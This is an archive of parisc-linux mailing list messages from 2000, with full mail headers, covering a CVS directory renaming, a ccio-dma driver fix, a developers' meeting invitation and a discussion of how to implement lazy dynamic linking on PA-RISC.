	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA03540
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Sep 2000 03:55:11 -0600
Original-Received: (qmail 23354 invoked by uid 15267); 23 Sep 2000 09:55:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23343 invoked from network); 23 Sep 2000 09:55:51 -0000
Original-Received: from symphony-03.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.18)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 09:55:51 -0000
Original-Received: (qmail 24232 invoked by uid 666); 23 Sep 2000 09:55:29 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.165.199)
  by mail.iinet.net.au with SMTP; 23 Sep 2000 09:55:29 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id RAA30191
	for parisc-linux@thepuffingroup.com; Sat, 23 Sep 2000 17:54:56 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20000923152919.O21274@neep.com.au>; from andrew@neep.com.au on Sat, Sep 23, 2000 at 03:29:22PM +0800
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7985

Andrew Shugg said:
> Is anyone having trouble doing updates after the rename?
> 
> Not having any troubles with the binutils module but bombing out on
> linux ...
> 
> cvs server: Updating linux/arch/alpha/math-emu
> cvs [server aborted]: cannot open directory /home/cvs/parisc/linux/arch/alpha/mathemu: No such file or directory

Yep, my bad: thanks for sorting me out Mike.  =)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Sat, 23 Sep 2000 18:26:16 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20000923182616.A9083@parcelfarce.linux.theplanet.co.uk>
References: <39CBF956.4833E405@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619140 3994 80.91.229.3 (22 Nov 2014 01:19:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: willy@www.linux.org.uk  Sat Sep 23 11:25:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA07661
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Sep 2000 11:25:57 -0600
Original-Received: (qmail 1057 invoked by uid 15267); 23 Sep 2000 17:26:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1048 invoked from network); 23 Sep 2000 17:26:38 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 17:26:38 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13ct44-0002VA-00; Sat, 23 Sep 2000 18:26:16 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <39CBF956.4833E405@subcarrier.org>; from mang@subcarrier.org on Fri, Sep 22, 2000 at 08:29:10PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7986

On Fri, Sep 22, 2000 at 08:29:10PM -0400, Michael Ang wrote:
> Can someone please update the recipe and cvs info on
> www.thepuffingroup.com/parisc?  Until the docs are updated, you can
> mentally substitute "linux" for "linux-2.3" and "binutils" for
> "binutils-2.10".

cvs co website, then make your changes and commit them back.  Next time
someone with the password updates the website, your changes will
appear too.

(typing make will create the .html files from the .x files so you
can check your changes.  Since mid-July, you haven't needed anything
special installed; date, cat, echo, make, mkdir... no silly binary-only
software :-)

I have some ideas for how to improve the website, but I'm going to
wait and see what the Linuxcare web team come up with before I make
any structural changes.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jim Buttafuoco <jim@buttafuoco.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Looking for Help with 9000/710
Date: Sat, 23 Sep 2000 17:27:56 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <39CD205C.EE5DD587@buttafuoco.org>
Reply-To: jim@buttafuoco.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619140 4003 80.91.229.3 (22 Nov 2014 01:19:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jim@buttafuoco.org  Sat Sep 23 15:27:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA09456
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Sep 2000 15:27:15 -0600
Original-Received: (qmail 13640 invoked by uid 15267); 23 Sep 2000 21:27:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13630 invoked from network); 23 Sep 2000 21:27:57 -0000
Original-Received: from 3ff839a7.dsl.flashcom.net (HELO p2.buttafuoco.net) (63.248.57.167)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 21:27:57 -0000
Original-Received: from buttafuoco.org (p2.buttafuoco.net [192.1.3.2])
	by p2.buttafuoco.net (8.9.3/8.9.3) with ESMTP id RAA01752
	for <parisc-linux@thepuffingroup.com>; Sat, 23 Sep 2000 17:27:56 -0400
Original-Sender: jim@p2.buttafuoco.net
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7987

I just received 2 HP 9000/710 systems without any docs.  I am currently
trying to see if they work and if so install linux on them.  Do anyone
know where I can get some electronic copies of the hardware reference
manual(s) for this system

Thanks
Jim
jim@buttafuoco.org



From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@ffis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Reminder] 2000 Oldenburg Linux Developers Meeting
Date: Sun, 24 Sep 2000 20:44:31 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <20000924204431.V25340@finlandia.infodrom.north.de>
Reply-To: linuxtag@ffis.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619140 4009 80.91.229.3 (22 Nov 2014 01:19:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:00 +0000 (UTC)
To: Martin Schulze <joey@ffis.de>
Original-X-From: indrom!joey@obdg.netsurf.de  Sun Sep 24 12:53:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA25435
	for <parisc-linux@puffin.external.hp.com>; Sun, 24 Sep 2000 12:53:30 -0600
Original-Received: (qmail 4312 invoked by uid 15267); 24 Sep 2000 18:54:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4301 invoked from network); 24 Sep 2000 18:54:10 -0000
Original-Received: from proxy.rhnet.net (root@194.64.47.15)
  by mailserv2.iuinc.com with SMTP; 24 Sep 2000 18:54:10 -0000
Original-Received: from indrom.UUCP (uucp@localhost)
	by proxy.rhnet.net (8.9.3/8.9.3) with UUCP id UAA29031;
	Sun, 24 Sep 2000 20:48:33 +0200
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from ffis.de by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m13dGlL-000am4C@finlandia.Infodrom.North.DE>
	for linux-mips@vger.kernel.org; Sun, 24 Sep 2000 20:44:31 +0200 (CEST) 
Mail-Followup-To: linuxtag@ffis.de
User-Agent: Mutt/1.0i
Xref: news.gmane.org gmane.linux.ports.parisc:7988

[Crossposted via bcc to a couple of developer lists]

This is your invitation to the


               2000 Oldenburg Linux Developers Meeting


   This is the second official announcement for the the 2000 Linux
   Developers Meeting in Oldenburg (formerly known as m68k Hacker's
   Meeting).  Please forward this announcement to whoever you consider
   developer enough to join.

   The meeting takes place from


	      October 12th noon to October 15th noon


   The developers meeting will take place in the same rooms like last
   year.  However, if more people are attending than last year, we're
   going to use a larger room or use two rooms side by side.  As
   before, attendance is free of cost, however you should be a
   developer.  Please remember to take not only your hardware with you
   but also all reference manuals and technical manuals that belong to
   them.  Oh, and don't forget hubs for all of your boxes.

   We're also organizing at least three independend power circuits
   that should help us avoid a general power failure. :-) We did not
   have one last year, so there's a good chance we'll survive this
   year again.

   IP connectivity will be sponsored by the computing center of our
   University to whose network we will be connected with a
   masquerading router.  If you have a ready configured router, take
   it with you.  We are trying to get food and fluids sponsored as
   well.  Nevertheless you should not forget your regular hacker's food.

   You may arrive on Thursday if you like.  You may also stay longer
   than sunday if you like.  If you need to picked up at the train
   station, let us know when you're going to arrive - i.e. tell us
   to receive a mobile number from one of us.  This will be optimized
   with regards to last year. :) 

   Meeting online: http://oldenburger.linuxtage.de/lt2000/devel/
   You'll find travel maps there.

   To help us plan the rooms, amount of food and other stuff please
   fill out the following form and send it to joey@infodrom.ffis.de.

   _____________________________________________________________________

   Name .........................:

   Date of arrival ..............: ( ) Thursday, October 12th
				   ( ) Friday, October 13th
				   ( ) Saturday, October 14th

   Date of departure ............: ( ) Friday, October 13th
				   ( ) Saturday, October 14th
				   ( ) Sunday, October 15th
				   ( ) Monday, October 16th
				   ( ) later: _____________

   Number of machines ...........:

   Number of monitors ...........:

   Name may be placed on web page: ( ) yes
				   ( ) no

Best regards,

	Joey

-- 
GNU does not eliminate all the world's problems, only some of them.
                                                -- The GNU Manifesto
Oldenburger LinuxTag 2000                 http://oldenburger.linuxtage.de/


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and ccio-dma
Date: Sun, 24 Sep 2000 20:40:48 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <39CEBB30.74EA4C81@uswest.net>
References: <20000921201241.C28365@data.upl.cs.wisc.edu> <39CC4001.50E72330@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619141 4012 80.91.229.3 (22 Nov 2014 01:19:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:01 +0000 (UTC)
To: Erik Paulson <epaulson@upl.cs.wisc.edu>, grundler@cup.hp.com,
        parisc-linux@thepuffingroup.com
Original-X-From: rbradetich@uswest.net  Mon Sep 25 02:40:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA04227
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Sep 2000 02:40:19 -0600
Original-Received: (qmail 27525 invoked by uid 15267); 25 Sep 2000 08:40:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27518 invoked from network); 25 Sep 2000 08:40:53 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 25 Sep 2000 08:40:53 -0000
Original-Received: (qmail 16316 invoked by alias); 25 Sep 2000 08:40:49 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 16280 invoked by uid 0); 25 Sep 2000 08:40:48 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 25 Sep 2000 08:40:48 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7989

Erik & Grant,

I isolated the problem, and have checked in an updated ccio-dma driver
that should take care of this problem for you Erik.  The problem was with
the way the ccio-dma handled the scatter/gather lists.

The sym53c8xx driver asked the ccio-dma driver to map 2 maps of
64 - 1024k dma entries.  The ccio-dma driver would map an entire
block (8 pages) for each of the 128 1024k dma entries.  I have checked
in a new ccio-dma driver that handles the scatter/gather lists much
more intelligently.  With these changes I map the entire 128 - 1024k
dma entries into 3 blocks (32 pages).

Erik:  When you get a chance, would you try out the new ccio-dma
driver and see if that fixed your problem.  (I'm betting it will).

Grant: Would you mind reviewing the changes I made to make sure
I didn't do anything stupid :)  I also made several bug fixes that
should/could be ported to the sba driver as well.

There are still some problems with this driver I'm working on tracking
down...  If the pdir is really small (32 MB main memory) ... I get a
HPMC.  But it seems to work when memory is larger (ie 128 MB main
memory).

Thanks and good luck!

- Ryan


Ryan Bradetich wrote:

> Erik & Grant,
>
> I think I have finally tracked this problem down... I don't think it is a bug
> in either the ccio-dma or the sym53c8xx driver.... I believe it is a sizing
> issue with the IO PDIR in the ccio-dma.  I spent some time last week
> increasing the density of the IO PDIR by 4x ... it looks like I still have some
> work to do :)
>
> I increased the the IO PDIR ratio to main memory by 4x and I can
> successfully format a 4G partition in my C200+.  (When I bumped
> the IO PDIR ratio by 2x, is still had problems...)
>
> Erik ... I've attached a small patch for you to try and see if it works for
> you.
>
> Thanks,
>
> - Ryan


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@cmu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mailing list behaviour
Date: Mon, 29 Mar 1999 16:46:13 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <19990329164613.H1081@cmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619141 4019 80.91.229.3 (22 Nov 2014 01:19:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@sod.res.cmu.edu  Mon Mar 29 16:46:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA04212
	for <parisc-linux@sod.res.cmu.edu>; Mon, 29 Mar 1999 16:46:20 -0500
Original-Received: (qmail 4876 invoked by uid 15267); 29 Mar 1999 21:44:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4869 invoked from network); 29 Mar 1999 21:44:46 -0000
Original-Received: from sod.res.cmu.edu (pschwan@128.2.91.30)
  by mailserv2.iuinc.com with SMTP; 29 Mar 1999 21:44:46 -0000
Original-Received: (from pschwan@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id QAA04205;
	Mon, 29 Mar 1999 16:46:13 -0500
X-Mailer: Mutt 0.91i
Xref: news.gmane.org gmane.linux.ports.parisc:7990

By request, I've asked smartlist to please stop mangling (or adding,
in most cases) a Reply-to field.  There are compelling arguments for
and against, but leaving it out really does make more sense.  Note
that a simple ``Reply'' command to your mailer will probably not work
for future mails--you'll want to use the ``Group reply'' feature.

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Big bad SCSI errors building GCC with / on SCSI
Date: Mon, 25 Sep 2000 10:01:45 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20000925100145.G32318@linuxcare.com>
References: <87og1gm0ln.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619142 4047 80.91.229.3 (22 Nov 2014 01:19:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: rhirst@linuxcare.com  Mon Sep 25 03:02:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA04763
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Sep 2000 03:01:59 -0600
Original-Received: (qmail 8200 invoked by uid 15267); 25 Sep 2000 09:02:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8191 invoked from network); 25 Sep 2000 09:02:43 -0000
Original-Received: from user32-185.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.32.185)
  by mailserv2.iuinc.com with SMTP; 25 Sep 2000 09:02:43 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 8F479B007; Mon, 25 Sep 2000 10:01:45 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <87og1gm0ln.fsf@linuxcare.com>; from dhd@linuxcare.com on Fri, Sep 22, 2000 at 08:08:20PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7991

Hi Dave,

On Fri, Sep 22, 2000 at 08:08:20PM -0400, David Huggins-Daines wrote:
> Hi,
> 
> When trying to build GCC on a SCSI disk (with a root filesystem on
> SCSI) I get a lot of horrible looking errors and the build fails.

I'm currently testing a new version of sim700.c which might help you.
I hope to commit it later today.

Richard


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Erik Paulson <epaulson@upl.cs.wisc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Mon, 25 Sep 2000 12:22:11 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20000925122211.F1363@data.upl.cs.wisc.edu>
References: <39CBF956.4833E405@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619142 4049 80.91.229.3 (22 Nov 2014 01:19:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: epaulson@data.upl.cs.wisc.edu  Mon Sep 25 11:21:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA09926
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Sep 2000 11:21:27 -0600
Original-Received: (qmail 27100 invoked by uid 15267); 25 Sep 2000 17:22:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27089 invoked from network); 25 Sep 2000 17:22:12 -0000
Original-Received: from data.upl.cs.wisc.edu (root@128.105.45.42)
  by mailserv2.iuinc.com with SMTP; 25 Sep 2000 17:22:12 -0000
Original-Received: (from epaulson@localhost)
	by data.upl.cs.wisc.edu (8.10.2/8.10.2) id e8PHMBW08027
	for parisc-linux@thepuffingroup.com; Mon, 25 Sep 2000 12:22:11 -0500
X-Mailer: Mutt 0.95i
In-Reply-To: <39CBF956.4833E405@subcarrier.org>; from Michael Ang on Fri, Sep 22, 2000 at 08:29:10PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7992

On Fri, Sep 22, 2000 at 08:29:10PM -0400, Michael Ang wrote:
> In order to reduce some of the confusion about which directory was
> active in the repository (did I want "binutils", "binutils-old", or
> "binutils-2.10"?) some of the directories in the repository will be
> renamed.  This will be moderately painful, but it's better to do the
> painful thing now while we can still stamp out the old cruft.
> 
> "linux-2.3" will be renamed to "linux"
> "binutils-2.10" will be renamed to "binutils"

The nightly CVS snapshots still have linux-2.3...

-Erik


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Mon, 25 Sep 2000 13:57:09 -0400
Organization: Legion of Mozilla
Lines: 15
Approved: news@gmane.org
Message-ID: <39CF91F5.DEE1C632@subcarrier.org>
References: <39CBF956.4833E405@subcarrier.org> <20000925122211.F1363@data.upl.cs.wisc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619142 4052 80.91.229.3 (22 Nov 2014 01:19:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:02 +0000 (UTC)
Cc: adevries@linuxcare.com
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Mon Sep 25 11:55:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA10637
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Sep 2000 11:55:07 -0600
Original-Received: (qmail 7522 invoked by uid 15267); 25 Sep 2000 17:55:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7436 invoked from network); 25 Sep 2000 17:55:49 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 25 Sep 2000 17:55:49 -0000
Original-Received: (qmail 4238 invoked from network); 25 Sep 2000 17:55:21 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 25 Sep 2000 17:55:18 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7993

The cvs tarballs on the ftp site are owned by user "adevries".  From
this I guess that Alex has a cron job that packages the tarballs.

Alex, can you please update your scripts?

	- Mike.

Erik Paulson wrote:
> 
> On Fri, Sep 22, 2000 at 08:29:10PM -0400, Michael Ang wrote:
> > "linux-2.3" will be renamed to "linux"
> > "binutils-2.10" will be renamed to "binutils"
> 
> The nightly CVS snapshots still have linux-2.3...


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Lazy linking issues
Date: 25 Sep 2000 20:39:06 -0400
Organization: Linuxcare, Inc.
Lines: 75
Approved: news@gmane.org
Message-ID: <87k8c0kmvp.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619143 4054 80.91.229.3 (22 Nov 2014 01:19:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Mon Sep 25 18:39:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA21895
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Sep 2000 18:39:12 -0600
Original-Received: (qmail 14754 invoked by uid 15267); 26 Sep 2000 00:39:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14747 invoked from network); 26 Sep 2000 00:39:54 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 26 Sep 2000 00:39:54 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13dim2-0006zE-00; Mon, 25 Sep 2000 20:39:06 -0400
Original-Lines: 74
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7994

So,

It turns out that our ideas of how lazy linking would work are not
quite right.  The problem is that fixup() has to be called with the
struct link_map stored in GOT[1] of the object we are trying to
relocate, which means the strategy of looking at _GLOBAL_OFFSET_TABLE_
obviously won't work (in ld.so it would always get us the link_map for
ld.so, and it won't compile anyway since the code has to get linked
into libc.a ... I don't actually know why it worked before, but
probably because I forgot a */ on the comment at the top of
TRAMPOLINE_TEMPLATE).

In fact the code in elf_machine_runtime_setup() is wrong as well since
it is storing the link_map in the GOT of ld.so rather than the dynamic
object that is being loaded lazily :)

I think the strategy of (ab-)using the LTP part of the PLT slot to
pass extra info to the trampoline code is basically sound.  The only
problem is that we need more information than we currently have.

What the trampoline needs to know is:

        1) Offset of the PLT relocation we are going to perform in the
           DT_JMPREL array.  Note that this is often the same as the
           index in the PLT, but for us it currently isn't because our
           IPLT relocations are not sorted (due to _init weirdness).

        2) The struct link_map * that was saved in
           elf_machine_runtime_setup().

Both of these are hard.  The reason they are hard is because we need
to find them for the object we are coming *from*, and since there is
no code in the PLT we cannot easily arrange for this to be so.
Actually we would need more help from the linker to do that, anyway,
since the addresses of the GOT and PLT are not easily accessible from
any object (since the LTP doesn't really point to either of them).

Here is what I tried (until I realized it was doomed to failure):

First, I added an extra machine-specific dynamic tag (I would have
used DT_HP_LOAD_MAP but glibc does not support the 'OS-specific'
dynamic tags, and in fact has the wrong value for DT_LOOS) pointing to
the reserved area of each object and fixed up this object's IPLT to
point to it.  The larger reserved area contained:

        0 - link-time address of _DYNAMIC (same as before)
        4 - pointer to this object's struct link_map (also same)
        8 - address of this object's PLT
        12 - address of the LTP value for the fixup function

Having the extra dynamic tag is a good way to flag that an object can
do lazy linking, so the changes would not affect older binaries.

The problem was that I was working under the false assumption that
$$dyncall and import stubs would (or could) load the address of the
PLT slot in %r1 (not sure why I thought that ... didn't look close
enough at the import stub code I guess) and that we could get the
offset of the PLT relocation this way.  This doesn't work for two
reasons: (1) obviously, import stubs don't load %r1 with the address
of the PLT slot, and (2) the PLT relocations aren't sorted so the
value would be wrong anyway.

This means that my old idea of storing the index of the IPLT
relocation in each PLT slot in elf_machine_runtime_setup() was
essentially correct, but then we have the problem of how to get at the
reserved area of the GOT.  There is basically no way to do this that I
can think of without adding another word to the PLT slot (which might
not be a bad idea, actually).

Anyway I am going home, I'll leave you to think about this I guess...

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs renaming complete
Date: Mon, 25 Sep 2000 21:59:23 -0400
Organization: Legion of Mozilla
Lines: 39
Approved: news@gmane.org
Message-ID: <39D002FB.242B2DD4@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619143 4058 80.91.229.3 (22 Nov 2014 01:19:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
